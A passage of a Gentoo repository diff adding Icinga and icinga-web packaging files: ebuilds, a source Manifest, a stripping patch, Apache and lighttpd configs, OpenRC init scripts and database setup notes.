+ myconf="--prefix=/usr/share/icinga/icinga-web
+ --bindir=/usr/sbin
+ --sbindir=/usr/$(get_libdir)/icinga/cgi-bin
+ --datarootdir=/usr/share/icinga/htdocs
+ --localstatedir=/var/lib/icinga
+ --sysconfdir=/etc/icinga
+ --libexecdir=/usr/$(get_libdir)/icinga/plugins
+ --with-bin-user=icinga
+ --with-bin-group=nagios
+ --with-api-cmd-file=/var/lib/icinga/rw/icinga.cmd
+ --with-conf-dir=/etc/icinga-web
+ --with-log-dir=/var/log/icinga-web
+ --with-icinga-objects-dir=/etc/icinga/objects
+ --with-icinga-bin=/usr/sbin/icinga
+ --with-icinga-cfg=/etc/icinga/icinga.cfg"
+
+ if use apache2 ; then
+ myconf+=" --with-web-user=apache
+ --with-web-group=apache
+ --with-web-apache-path=${APACHE_MODULES_CONFDIR}"
+ else
+ myconf+=" --with-web-user=root
+ --with-web-group=root"
+ fi
+
+ if use postgres ; then
+ myconf+=" --with-db-type=pgsql
+ --with-db-port=5432
+ --with-api-subtype=pgsql
+ --with-api-port=5432"
+ fi
+
+ econf ${myconf}
+}
+
+src_install() {
+ dodoc README
+ rm -f README
+
+ emake -j1 DESTDIR="${D}" install
+
+ emake DESTDIR="${D}" install-javascript
+
+ if use apache2 ; then
+ dodir ${APACHE_MODULES_CONFDIR}
+ emake DESTDIR="${D}" install-apache-config
+ echo '<IfDefine ICINGA_WEB>' > "${D}/${APACHE_MODULES_CONFDIR}/99_icinga-web.conf"
+ cat "${WORKDIR}/${P}/etc/apache2/icinga-web.conf" >> "${D}/${APACHE_MODULES_CONFDIR}/99_icinga-web.conf"
+ rm "${D}/${APACHE_MODULES_CONFDIR}/icinga-web.conf" || die "rm failed"
+ echo '</IfDefine>' >> "${D}/${APACHE_MODULES_CONFDIR}/99_icinga-web.conf"
+ fi
+
+ insinto /usr/share/icinga/icinga-web/contrib
+ doins -r etc/schema/*
+
+ if use apache2 ; then
+ sed -i 's/%%USER%%/apache/g' etc/scheduler/icingaCron
+ else
+ sed -i 's/%%USER%%/root/g' etc/scheduler/icingaCron
+ fi
+ sed -i 's/%%PATH%%/\/usr\/share\/icinga\/icinga-web/g' etc/scheduler/icingaCron
+
+ dodir /usr/share/icinga/icinga-web/cron/
+ cat - >> "${D}"/usr/share/icinga/icinga-web/cron/crontab <<EOF
+# Force the shell to bash
+SHELL=/bin/bash
+#mail to root
+MAILTO=root
+
+#runs every minute
+* * * * * /usr/bin/php /usr/share/icinga/icinga-web/lib/icingaScheduler/icingaCron.php --useAgavi --exec >> /var/log/icinga-web/cron_error.log
+EOF
+
+ cat - >> "${D}"/usr/share/icinga/icinga-web/cron/fcrontab <<EOF
+# Mail reports to root
+!mailto(root)
+
+#runs every minute
+@ 1 /usr/bin/php /usr/share/icinga/icinga-web/lib/icingaScheduler/icingaCron.php --useAgavi --exec >> /var/log/icinga-web/cron_error.log
+EOF
+
+ if use apache2 ; then
+ diropts -o apache -g apache
+ else
+ diropts -o root -g root
+ fi
+ dodir /var/log/icinga-web
+
+ if use apache2 ; then
+ fowners apache:apache /usr/share/icinga/icinga-web/lib/icingaScheduler/res/storage.dat
+ else
+ fowners root:root /usr/share/icinga/icinga-web/lib/icingaScheduler/res/storage.dat
+ fi
+
+ if use pnp ; then
+ insinto /usr/share/icinga/icinga-web/app/modules/Cronks/data/xml/extensions/
+ doins contrib/PNP_Integration/templateExtensions/pnp-host-extension.xml
+ doins contrib/PNP_Integration/templateExtensions/pnp-service-extension.xml
+ fi
+}
+
+pkg_config() {
+ einfo "press enter to install the icinga-web crontab"
+ einfo "installation from /usr/share/icinga/icinga-web/cron/icingaCron"
+ einfo
+ read
+
+ if has_version sys-process/fcron; then
+ fcrontab - -u root < /usr/share/icinga/icinga-web/cron/fcrontab
+ else
+ crontab - -u root < /usr/share/icinga/icinga-web/cron/crontab
+ fi
+}
+
+pkg_postinst() {
+ einfo
+ einfo "If this is a new install, you must create a new database for it, e.g. icinga_web."
+ einfo "You can find the database scripts in /usr/share/icinga/icinga-web/contrib/."
+ einfo
+ einfo "Additionally, you need to setup a database user."
+ einfo "The user must have default data privileges like SELECT, UPDATE, INSERT, DELETE."
+ einfo
+ einfo "Example for a MySQL database:"
+ einfo " echo \"CREATE DATABASE icinga_web;\" | mysql"
+ einfo " echo \"GRANT SELECT,UPDATE,INSERT,DELETE ON icinga_web.* TO 'icinga_web'@'localhost' IDENTIFIED BY 'xxxxxx';\" | mysql"
+ einfo " echo \"FLUSH PRIVILEGES;\" | mysql"
+ einfo
+ einfo " cat /usr/share/icinga/icinga-web/contrib/mysql.sql | mysql icinga_web"
+ einfo
+
+ ewarn
+ ewarn "If you're upgrading from a previous release, you must upgrade your database schema."
+ ewarn "You can find upgrade scripts in /usr/share/icinga/icinga-web/contrib/updates/."
+ ewarn
+ ewarn "IMPORTANT: If you are upgrading from an older version and there are other versions in between,"
+ ewarn " be advised that you need to apply those upgrade files with incremental steps!"
+ ewarn
+ ewarn "Example to upgrade a MySQL database:"
+ ewarn " cat /usr/share/icinga/icinga-web/contrib/updates/mysql_<oldversion>_to_<newversion>.sql | mysql icinga_web"
+ ewarn
+ ewarn "Don't forget to clear the config cache."
+ ewarn " /usr/share/icinga/icinga-web/bin/clearcache.sh"
+ ewarn
+
+ einfo
+ einfo "Please note that the magic_quotes_gpc setting must be disabled (in both apache and cli php.ini)."
+ einfo
+
+ if use apache2 ; then
+ einfo
+ einfo "apache config was installed into"
+ einfo "/etc/apache2/modules.d/99_icinga-web.conf"
+ einfo
+ einfo "The apache config value for \'ServerTokens\' must be set to at"
+ einfo "least \'Min\'."
+ einfo
+ else
+ einfo
+ einfo "If you are not using apache you may need to change some"
+ einfo "permissions, so that your web server can access files and logs"
+ einfo
+ fi
+}
diff --git a/net-analyzer/icinga-web/icinga-web-1.9.1-r1.ebuild b/net-analyzer/icinga-web/icinga-web-1.9.1-r1.ebuild
new file mode 100644
index 000000000000..1279d32f27f9
--- /dev/null
+++ b/net-analyzer/icinga-web/icinga-web-1.9.1-r1.ebuild
@@ -0,0 +1,203 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="5"
+
+inherit depend.apache eutils user multilib
+
+DESCRIPTION="Icinga Web - new Web Interface"
+HOMEPAGE="http://www.icinga.org/"
+SRC_URI="mirror://sourceforge/icinga/${P}.tar.gz"
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~x86 ~amd64"
+IUSE="apache2 mysql pnp postgres"
+DEPEND="dev-php/phing
+ dev-lang/php[apache2?,cli,json,mysql?,pdo,postgres?,sockets,xslt,xml]
+ pnp? ( net-analyzer/pnp4nagios )"
+RDEPEND="${DEPEND}"
+
+want_apache2
+
+pkg_setup() {
+ if use apache2 ; then
+ depend.apache_pkg_setup
+ fi
+ enewgroup icinga
+ enewgroup nagios
+ enewuser icinga -1 -1 /var/lib/icinga "icinga,nagios"
+}
+
+src_prepare() {
+ #removed checks for some php stuff since we have these things called use flags
+ sed -i 's/ACICINGA_CHECK_PHP_MODULE/\#ACICINGA_CHECK_PHP_MODULE/g' configure.ac
+ sed -i 's/make\ /make\ \-j1\ /g' lib/Makefile.in
+ autoreconf
+}
+
+src_configure() {
+ local myconf
+
+ myconf="--prefix=/usr/share/icinga/icinga-web
+ --bindir=/usr/sbin
+ --sbindir=/usr/$(get_libdir)/icinga/cgi-bin
+ --datarootdir=/usr/share/icinga/htdocs
+ --localstatedir=/var/lib/icinga
+ --sysconfdir=/etc/icinga
+ --libexecdir=/usr/$(get_libdir)/icinga/plugins
+ --with-bin-user=icinga
+ --with-bin-group=nagios
+ --with-api-cmd-file=/var/lib/icinga/rw/icinga.cmd
+ --with-conf-dir=/etc/icinga-web
+ --with-log-dir=/var/log/icinga-web
+ --with-icinga-objects-dir=/etc/icinga/objects
+ --with-icinga-bin=/usr/sbin/icinga
+ --with-icinga-cfg=/etc/icinga/icinga.cfg"
+
+ if use apache2 ; then
+ myconf+=" --with-web-user=apache
+ --with-web-group=apache
+ --with-web-apache-path=${APACHE_MODULES_CONFDIR}"
+ else
+ myconf+=" --with-web-user=root
+ --with-web-group=root"
+ fi
+
+ if use postgres ; then
+ myconf+=" --with-db-type=pgsql
+ --with-db-port=5432
+ --with-api-subtype=pgsql
+ --with-api-port=5432"
+ fi
+
+ econf ${myconf}
+}
+
+src_install() {
+ dodoc README
+ rm -f README
+
+ emake DESTDIR="${D}" install
+
+ emake DESTDIR="${D}" install-javascript
+
+ if use apache2 ; then
+ dodir ${APACHE_MODULES_CONFDIR}
+ emake DESTDIR="${D}" install-apache-config
+ echo '<IfDefine ICINGA_WEB>' > "${D}/${APACHE_MODULES_CONFDIR}/99_icinga-web.conf"
+ cat "${D}/${APACHE_MODULES_CONFDIR}/icinga-web.conf" >> "${D}/${APACHE_MODULES_CONFDIR}/99_icinga-web.conf"
+ echo '</IfDefine>' >> "${D}/${APACHE_MODULES_CONFDIR}/99_icinga-web.conf"
+ fi
+
+ insinto /usr/share/icinga/icinga-web/contrib
+ doins -r etc/schema/*
+
+ if use apache2 ; then
+ sed -i 's/%%USER%%/apache/g' etc/scheduler/icingaCron
+ else
+ sed -i 's/%%USER%%/root/g' etc/scheduler/icingaCron
+ fi
+ sed -i 's/%%PATH%%/\/usr\/share\/icinga\/icinga-web/g' etc/scheduler/icingaCron
+
+ dodir /usr/share/icinga/icinga-web/cron/
+ cat - >> "${D}"/usr/share/icinga/icinga-web/cron/crontab <<EOF
+# Force the shell to bash
+SHELL=/bin/bash
+#mail to root
+MAILTO=root
+
+#runs every minute
+* * * * * /usr/bin/php /usr/share/icinga/icinga-web/lib/icingaScheduler/icingaCron.php --useAgavi --exec >> /var/log/icinga-web/cron_error.log
+EOF
+
+ cat - >> "${D}"/usr/share/icinga/icinga-web/cron/fcrontab <<EOF
+# Mail reports to root
+!mailto(root)
+
+#runs every minute
+@ 1 /usr/bin/php /usr/share/icinga/icinga-web/lib/icingaScheduler/icingaCron.php --useAgavi --exec >> /var/log/icinga-web/cron_error.log
+EOF
+
+ if use apache2 ; then
+ diropts -o apache -g apache
+ else
+ diropts -o root -g root
+ fi
+ dodir /var/log/icinga-web
+
+ if use apache2 ; then
+ fowners apache:apache /usr/share/icinga/icinga-web/lib/icingaScheduler/res/storage.dat
+ else
+ fowners root:root /usr/share/icinga/icinga-web/lib/icingaScheduler/res/storage.dat
+ fi
+
+ if use pnp ; then
+ insinto /usr/share/icinga/icinga-web/app/modules/Cronks/data/xml/extensions/
+ doins contrib/PNP_Integration/templateExtensions/pnp-host-extension.xml
+ doins contrib/PNP_Integration/templateExtensions/pnp-service-extension.xml
+ fi
+}
+
+pkg_config() {
+ einfo "press enter to install the icinga-web crontab"
+ einfo "installation from /usr/share/icinga/icinga-web/cron/icingaCron"
+ einfo
+ read
+
+ if has_version sys-process/fcron; then
+ fcrontab - -u root < /usr/share/icinga/icinga-web/cron/fcrontab
+ else
+ crontab - -u root < /usr/share/icinga/icinga-web/cron/crontab
+ fi
+}
+
+pkg_postinst() {
+ einfo
+ einfo "If this is a new install, you must create a new database for it, e.g. icinga_web."
+ einfo "You can find the database scripts in /usr/share/icinga/icinga-web/contrib/."
+ einfo
+ einfo "Additionally, you need to setup a database user."
+ einfo "The user must have default data privileges like SELECT, UPDATE, INSERT, DELETE."
+ einfo
+ einfo "Example for a MySQL database:"
+ einfo " echo \"CREATE DATABASE icinga_web;\" | mysql"
+ einfo " echo \"GRANT SELECT,UPDATE,INSERT,DELETE ON icinga_web.* TO 'icinga_web'@'localhost' IDENTIFIED BY 'xxxxxx';\" | mysql"
+ einfo " echo \"FLUSH PRIVILEGES;\" | mysql"
+ einfo
+ einfo " cat /usr/share/icinga/icinga-web/contrib/mysql.sql | mysql icinga_web"
+ einfo
+
+ ewarn
+ ewarn "If you're upgrading from a previous release, you must upgrade your database schema."
+ ewarn "You can find upgrade scripts in /usr/share/icinga/icinga-web/contrib/updates/."
+ ewarn
+ ewarn "IMPORTANT: If you are upgrading from an older version and there are other versions in between,"
+ ewarn " be advised that you need to apply those upgrade files with incremental steps!"
+ ewarn
+ ewarn "Example to upgrade a MySQL database:"
+ ewarn " cat /usr/share/icinga/icinga-web/contrib/updates/mysql_<oldversion>_to_<newversion>.sql | mysql icinga_web"
+ ewarn
+ ewarn "Don't forget to clear the config cache."
+ ewarn " /usr/share/icinga/icinga-web/bin/clearcache.sh"
+ ewarn
+
+ einfo
+ einfo "Please note that the magic_quotes_gpc setting must be disabled (in both apache and cli php.ini)."
+ einfo
+
+ if use apache2 ; then
+ einfo
+ einfo "apache config was installed into"
+ einfo "/etc/apache2/modules.d//99_icinga-web.conf"
+ einfo
+ einfo "The apache config value for \'ServerTokens\' must be set to at"
+ einfo "least \'Min\'."
+ einfo
+ else
+ einfo
+ einfo "If you are not using apache you may need to change some"
+ einfo "permissions, so that your web server can access files and logs"
+ einfo
+ fi
+}
diff --git a/net-analyzer/icinga-web/metadata.xml b/net-analyzer/icinga-web/metadata.xml
new file mode 100644
index 000000000000..eef21637f5f4
--- /dev/null
+++ b/net-analyzer/icinga-web/metadata.xml
@@ -0,0 +1,17 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>prometheanfire@gentoo.org</email>
+ <name>Matthew Thode</name>
+ </maintainer>
+ <longdescription lang="en">
+ Icinga-web is a database backed web frontend to icinga.
+ </longdescription>
+ <use>
+ <flag name="pnp">Enables pnp4nagios integration</flag>
+ </use>
+ <upstream>
+ <remote-id type="sourceforge">icinga</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/icinga/Manifest b/net-analyzer/icinga/Manifest
new file mode 100644
index 000000000000..05af21b1e6cf
--- /dev/null
+++ b/net-analyzer/icinga/Manifest
@@ -0,0 +1,7 @@
+DIST icinga-1.10.4.tar.gz 15391948 SHA256 fecaeca3f4f059fe506681e99a5e15fd4bef16ad1003b12e519ec91ce0b3bcfd SHA512 d3f5e69089c01429cf99d53e5eff30a890899bb7509ae1c5251021a4ad1abdfafdbccc55b9719c117740227ba9dad3af392a26f6c1117f2aaf3029f8ce6fc09b WHIRLPOOL 907dd0af89ab6f09dc47829e85c44b82f9dc83b3d2b073de567e0e011fa6ca734f3c0e61b582ccdb5992fae53ef1a182f9bc440af086fe900cb1d375a501535a
+DIST icinga-1.11.1.tar.gz 18699628 SHA256 7dca7d6193fe9de1d5d044e3eefd9dfca5a24485a60d332edac68c5cc4838c95 SHA512 878d75ef669c9110c42275ab36781fc440d42e98821a0da400d2ed174b61e9571fbf35bd847afdfcf67039b4814b34f13b892ddca738d207fd2abf26715c803d WHIRLPOOL 26561d572c9bb38df2ab0656fac69168b327e4e8c00d1e756aae4c8dbae10b74fd10313f74fb80f08bc9de713a402801d649abcbaa8adc6d3386f48f54cdf9dd
+DIST icinga-1.11.4.tar.gz 18657247 SHA256 34e923d8daac0235513ece5f54a2065b9166cce3ef3c9f8794e635c93ae0d541 SHA512 0cc2cd8561affbbb400f59d02023bc35de3f6f39c120fcb9d293d7ce343c88061b7a7ef557c22ed79881e499c967223616cf2a4a0746b480ee8a36b3e9a23e27 WHIRLPOOL 55277fee87e552ad94c069c252a68d3fe1fedef435e5fd0e00768a1e62887de6980913f3b4c096c62a6bf2cf1abca5dd2c68934e9f3603f965555349572edf9e
+DIST icinga-1.11.7.tar.gz 18657763 SHA256 b6526dd44d42c70e50ebfb58608f1fec8ba6d805fda4fde57f1078c248e25045 SHA512 3c06771f83257afc9096078ba5304ad9a3fbd8d75f22ca62113c45b06f1a015ef3758936dcb3376b3a18584a360ca4a629e5b071570b7215f7b199e414946af1 WHIRLPOOL 4f66389b467f77e5544239c9c1553e185e37f115f057df83330118e2e8883efa5d73b05bc1c9b3801ff522947e098f3169185b71a172bf9ac26173a033ce30d6
+DIST icinga-1.12.0.tar.gz 18670338 SHA256 6bcee5605d66a00444454514baeffd8084df6097cf8ebead2b8114387d5def14 SHA512 214eece3d5545f9157c25d83f1ed65eab82ae4508e713efa2aec83d69e0621ff53618a33c266e88f67b13e4734bd62d7e55cb2cbc547946d13e691f9b24c726b WHIRLPOOL 94fd7435f113e839e1d6a71a466060ab3e2f161a64643e011acb01f1a34bfe00a7313ea47434db6f74405b1b3fe7581c39bb39fd04887e4985fcd16f0cc0c827
+DIST icinga-1.12.2.tar.gz 18745366 SHA256 3eb3e623070996fffe8ba1d5c0fe8081d3074bca5109de4ee597a9515507a4cc SHA512 eac3d354fa555d8374757a07cc84f028dcead71eb611245e16597b050f8f050d4b955cf7bc70ff0230a7fa8eb004541827c2686b60ccd683a0646c1d7707b264 WHIRLPOOL fc1251966dfce7377e6f4017281b3f35cca2241ee1fb31b654126d8f045a957a6835cdb45d622efaaf0cf0cd89d45969f6a4c81dd628174dc7a9c29cef137b51
+DIST icinga-1.9.6.tar.gz 17082621 SHA256 a70a54d49813f8ea1b58688d5d2b3ecd00a0470a900c84943c044669f582274c SHA512 f2489d6c898e754ca162304651e71e071e5f1d0ce396ecd87ba9e6fd0a14343cca24fd860e661250b2723a696045d45602ebf2fc9aa16dbaf126415ba109b3ff WHIRLPOOL 599b3a257e1ef9b9d713cfbde0233ab171f46ee5f2fffaa2e5a3ab95daaad2c9ee88e61def2420d60e9262fb57dc4a18ea168c0d9b1da52dc85792d2d1389cbf
diff --git a/net-analyzer/icinga/files/fix-prestripped-binaries-1.7.0.patch b/net-analyzer/icinga/files/fix-prestripped-binaries-1.7.0.patch
new file mode 100644
index 000000000000..256cfc83232f
--- /dev/null
+++ b/net-analyzer/icinga/files/fix-prestripped-binaries-1.7.0.patch
@@ -0,0 +1,23 @@
+diff -rupN icinga-1.7.0beta1-orig//base/Makefile.in icinga-1.7.0beta1//base/Makefile.in
+--- icinga-1.7.0beta1-orig//base/Makefile.in 2012-05-09 07:10:21.000000000 -0500
++++ icinga-1.7.0beta1//base/Makefile.in 2012-05-14 14:00:29.666346315 -0500
+@@ -41,7 +41,7 @@ HTMLDIR=@datarootdir@
+ INSTALL=@INSTALL@
+ INSTALL_OPTS=@INSTALL_OPTS@
+ COMMAND_OPTS=@COMMAND_OPTS@
+-STRIP=@STRIP@
++STRIP=/bin/true
+
+ CGIURL=@cgiurl@
+ HTMURL=@htmurl@
+diff -rupN icinga-1.7.0beta1-orig//cgi/Makefile.in icinga-1.7.0beta1//cgi/Makefile.in
+--- icinga-1.7.0beta1-orig//cgi/Makefile.in 2012-05-09 07:10:21.000000000 -0500
++++ icinga-1.7.0beta1//cgi/Makefile.in 2012-05-14 14:00:43.285346614 -0500
+@@ -21,7 +21,7 @@ INSTALL=@INSTALL@
+ INSTALL_OPTS=@INSTALL_OPTS@
+ INSTALL_OPTS_WEB=@INSTALL_OPTS_WEB@
+ COMMAND_OPTS=@COMMAND_OPTS@
+-STRIP=@STRIP@
++STRIP=/bin/true
+
+ CGIEXTRAS=@CGIEXTRAS@
diff --git a/net-analyzer/icinga/files/icinga-apache.conf b/net-analyzer/icinga/files/icinga-apache.conf
new file mode 100644
index 000000000000..7c768b4eb317
--- /dev/null
+++ b/net-analyzer/icinga/files/icinga-apache.conf
@@ -0,0 +1,17 @@
+<IfDefine ICINGA>
+ ScriptAlias /icinga/cgi-bin/ /usr/lib/icinga/cgi-bin/
+ <Directory "/usr/lib/icinga/cgi-bin/">
+ Options ExecCGI
+ AuthName "Icinga Access"
+ AuthType Basic
+ AuthUserFile /etc/icinga/htpasswd.users
+ Require valid-user
+ </Directory>
+ Alias /icinga /usr/share/icinga/htdocs
+ <Directory "/usr/share/icinga/htdocs">
+ AuthName "Icinga Access"
+ AuthType Basic
+ AuthUserFile /etc/icinga/htpasswd.users
+ Require valid-user
+ </Directory>
+</IfDefine>
diff --git a/net-analyzer/icinga/files/icinga-conf.d b/net-analyzer/icinga/files/icinga-conf.d
new file mode 100644
index 000000000000..da5b324b31b7
--- /dev/null
+++ b/net-analyzer/icinga/files/icinga-conf.d
@@ -0,0 +1,3 @@
+# Distributed monitoring users will want to configure here the ip/hostname of the central server.
+# It will be used by submit_check_result_via_nsca.
+NAGIOS_NSCA_HOST="localhost"
diff --git a/net-analyzer/icinga/files/icinga-init.d b/net-analyzer/icinga/files/icinga-init.d
new file mode 100644
index 000000000000..6bf9695fc8cc
--- /dev/null
+++ b/net-analyzer/icinga/files/icinga-init.d
@@ -0,0 +1,62 @@
+#!/sbin/runscript
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+: ${ICINGACFG:=/etc/icinga/icinga.cfg}
+
+extra_commands="checkconfig"
+extra_started_commands="reload"
+
+command=/usr/sbin/icinga
+command_args="-d ${ICINGACFG}"
+
+get_config() {
+ if [ -e "${ICINGACFG}" ]; then
+ sed -n -e 's:^[ \t]*'$1'=\([^#]\+\).*:\1:p' "${ICINGACFG}"
+ fi
+}
+
+pidfile=$(get_config lock_file)
+start_stop_daemon_args="-e HOME=/var/lib/icinga"
+
+depend() {
+ need net
+ use dns logger firewall mysql postgresql
+}
+
+checkconfig() {
+ # Silent Check
+ ${command} -v ${ICINGACFG} &>/dev/null && return 0
+ # Now we know there's problem - run again and display errors
+ ${command} -v ${ICINGACFG}
+ eend $? "Configuration Error. Please fix your configfile"
+}
+
+reload()
+{
+ checkconfig || return 1
+ ebegin "Reloading configuration"
+ kill -HUP $(cat ${pidfile}) &>/dev/null
+ eend $?
+}
+
+start_pre() {
+ checkpath -d -o icinga:icinga $(get_config temp_path) $(dirname $(get_config lock_file)) $(dirname $(get_config log_file)) $(dirname $(get_config status_file))
+ checkpath -f -o icinga:icinga $(get_config log_file)
+ rm -f $(get_config command_file)
+}
+
+stop_post() {
+ rm -f $(get_config command_file)
+ rm -r /tmp/icinga
+}
+
+svc_restart() {
+ checkconfig || return 1
+ ebegin "Restarting icinga"
+ svc_stop
+ svc_start
+ eend $?
+}
+
diff --git a/net-analyzer/icinga/files/icinga-lighty.conf b/net-analyzer/icinga/files/icinga-lighty.conf
new file mode 100644
index 000000000000..678f2331e4ed
--- /dev/null
+++ b/net-analyzer/icinga/files/icinga-lighty.conf
@@ -0,0 +1,24 @@
+server.modules += ("mod_cgi")
+server.modules += ("mod_auth")
+server.modules += ("mod_alias")
+
+auth.require += ( "/icinga" =>
+ (
+ "method" => "digest",
+ "realm" => "icinga",
+ "require" => "valid-user"
+ )
+)
+
+$HTTP["url"] =~ "^/icinga/cgi-bin/" {
+ dir-listing.activate = "disable"
+ cgi.assign = (
+ ".pl" => "/usr/bin/perl",
+ ".cgi" => ""
+ )
+}
+
+alias.url += (
+ "/icinga/cgi-bin" => "/usr/lib/icinga/cgi-bin",
+ "/icinga" => "/usr/share/icinga/htdocs"
+)
diff --git a/net-analyzer/icinga/files/ido2db-conf.d b/net-analyzer/icinga/files/ido2db-conf.d
new file mode 100644
index 000000000000..5429fa9a5268
--- /dev/null
+++ b/net-analyzer/icinga/files/ido2db-conf.d
@@ -0,0 +1 @@
+IDO2DBCFG="/etc/icinga/ido2db.cfg"
diff --git a/net-analyzer/icinga/files/ido2db-init.d b/net-analyzer/icinga/files/ido2db-init.d
new file mode 100644
index 000000000000..7db7194102d2
--- /dev/null
+++ b/net-analyzer/icinga/files/ido2db-init.d
@@ -0,0 +1,40 @@
+#!/sbin/runscript
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+get_config() {
+ if [ -e "${IDO2DBCFG}" ]; then
+ sed -n -e 's:^[ \t]*'$1'=\([^#]\+\).*:\1:p' "${IDO2DBCFG}"
+ fi
+}
+
+command=/usr/sbin/ido2db
+command_args="-c ${IDO2DBCFG}"
+pidfile="$(get_config lock_file)"
+
+depend() {
+ config "${IDO2DBCFG}"
+
+ need net icinga
+ use dns logger firewall
+
+ case $(get_config db_servertype) in
+ mysql)
+ use mysql ;;
+ pgsql)
+ use postgresql ;;
+ esac
+}
+
+IDO2DBSOCKET="$(get_config socket_name)"
+
+
+start_pre() {
+ if [ -S "${IDO2DBSOCKET}" ] ; then
+ ewarn "Strange, the socket file already exist in \"${IDO2DBSOCKET}\""
+ ewarn "it will be removed now and re-created by ido2db"
+ ewarn "BUT please make your checks."
+ rm -f "${IDO2DBSOCKET}"
+ fi
+}
diff --git a/net-analyzer/icinga/icinga-1.10.4.ebuild b/net-analyzer/icinga/icinga-1.10.4.ebuild
new file mode 100644
index 000000000000..bcee5701adec
--- /dev/null
+++ b/net-analyzer/icinga/icinga-1.10.4.ebuild
@@ -0,0 +1,259 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit depend.apache eutils multilib toolchain-funcs user versionator
+
+DESCRIPTION="Nagios Fork - Check daemon, CGIs, docs, IDOutils"
+HOMEPAGE="http://www.icinga.org/"
+#MY_PV=$(delete_version_separator 3)
+#SRC_URI="mirror://sourceforge/${PN}/${PN}-${MY_PV}.tar.gz"
+#S=${WORKDIR}/${PN}-${MY_PV}
+#SRC_URI="mirror://sourceforge/${PN}/${P}.tar.gz"
+SRC_URI="https://github.com/${PN}/${PN}-core/releases/download/v${PV}/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~hppa ~x86"
+IUSE="+apache2 contrib eventhandler +idoutils lighttpd +mysql perl +plugins postgres ssl +vim-syntax +web"
+DEPEND="idoutils? ( dev-db/libdbi-drivers[mysql?,postgres?] )
+ perl? ( dev-lang/perl )
+ virtual/mailx
+ web? (
+ media-libs/gd[jpeg,png]
+ lighttpd? ( www-servers/lighttpd )
+ )
+ !net-analyzer/nagios-core"
+RDEPEND="${DEPEND}
+ plugins? ( net-analyzer/nagios-plugins )"
+RESTRICT="test"
+
+want_apache2
+
+pkg_setup() {
+ depend.apache_pkg_setup
+ enewgroup icinga
+ enewgroup nagios
+ enewuser icinga -1 -1 /var/lib/icinga "icinga,nagios"
+}
+
+src_prepare() {
+ epatch "${FILESDIR}/fix-prestripped-binaries-1.7.0.patch"
+}
+
+src_configure() {
+ local myconf
+
+ myconf="$(use_enable perl embedded-perl)
+ $(use_with perl perlcache)
+ $(use_enable idoutils)
+ $(use_enable ssl)
+ --with-cgiurl=/icinga/cgi-bin
+ --with-log-dir=/var/log/icinga
+ --libdir=/usr/$(get_libdir)
+ --bindir=/usr/sbin
+ --sbindir=/usr/$(get_libdir)/icinga/cgi-bin
+ --datarootdir=/usr/share/icinga/htdocs
+ --localstatedir=/var/lib/icinga
+ --sysconfdir=/etc/icinga
+ --with-lockfile=/var/run/icinga/icinga.lock
+ --with-temp-dir=/tmp/icinga
+ --with-temp-file=/tmp/icinga/icinga.tmp"
+
+ if use idoutils ; then
+ myconf+=" --with-ido2db-lockfile=/var/run/icinga/ido2db.lock
+ --with-icinga-chkfile=/var/lib/icinga/icinga.chk
+ --with-ido-sockfile=/var/lib/icinga/ido.sock
+ --with-idomod-tmpfile=/tmp/icinga/idomod.tmp"
+ fi
+
+ if use eventhandler ; then
+ myconfig+=" --with-eventhandler-dir=/etc/icinga/eventhandlers"
+ fi
+
+ if use plugins ; then
+ myconf+=" --with-plugin-dir=/usr/$(get_libdir)/nagios/plugins"
+ else
+ myconf+=" --with-plugin-dir=/usr/$(get_libdir)/nagios/plugins"
+ fi
+
+ if use !apache2 && use !lighttpd ; then
+ myconf+=" --with-command-group=icinga"
+ else
+ if use apache2 ; then
+ myconf+=" --with-httpd-conf=/etc/apache2/conf.d"
+ myconf+=" --with-command-group=apache"
+ elif use lighttpd ; then
+ myconf+=" --with-command-group=lighttpd"
+ fi
+ fi
+
+ econf ${myconf}
+}
+
+src_compile() {
+ tc-export CC
+
+ emake icinga || die "make failed"
+
+ if use web ; then
+ emake DESTDIR="${D}" cgis || die
+ fi
+
+ if use contrib ; then
+ emake DESTDIR="${D}" -C contrib || die
+ fi
+
+ if use idoutils ; then
+ emake DESTDIR="${D}" idoutils || die
+ fi
+}
+
+src_install() {
+ dodoc Changelog README UPGRADING || die
+
+ if ! use web ; then
+ sed -i -e '/cd $(SRC_\(CGI\|HTM\))/d' Makefile || die
+ fi
+
+ emake DESTDIR="${D}" install{,-config,-commandmode} || die
+
+ if use idoutils ; then
+ emake DESTDIR="${D}" install-idoutils || die
+ fi
+
+ if use contrib ; then
+ emake DESTDIR="${D}" -C contrib install || die
+ fi
+
+ if use eventhandler ; then
+ emake DESTDIR="${D}" install-eventhandlers || die
+ fi
+
+ newinitd "${FILESDIR}"/icinga-init.d icinga || die
+ newconfd "${FILESDIR}"/icinga-conf.d icinga || die
+ if use idoutils ; then
+ newinitd "${FILESDIR}"/ido2db-init.d ido2db || die
+ newconfd "${FILESDIR}"/ido2db-conf.d ido2db || die
+ insinto /usr/share/icinga/contrib/db
+ doins -r module/idoutils/db/* || die
+ fi
+ # Apache Module
+ if use web ; then
+ if use apache2 ; then
+ insinto "${APACHE_MODULES_CONFDIR}"
+ newins "${FILESDIR}"/icinga-apache.conf 99_icinga.conf || die
+ elif use lighttpd ; then
+ insinto /etc/lighttpd
+ newins "${FILESDIR}"/icinga-lighty.conf lighttpd_icinga.conf || die
+ else
+ ewarn "${CATEGORY}/${PF} only supports Apache-2.x or Lighttpd webserver"
+ ewarn "out-of-the-box. Since you are not using one of them, you"
+ ewarn "have to configure your webserver accordingly yourself."
+ fi
+ fowners -R root:root /usr/$(get_libdir)/icinga || die
+ cd "${D}" || die
+ find usr/$(get_libdir)/icinga -type d -exec fperms 755 {} +
+ find usr/$(get_libdir)/icinga/cgi-bin -type f -exec fperms 755 {} +
+ fi
+
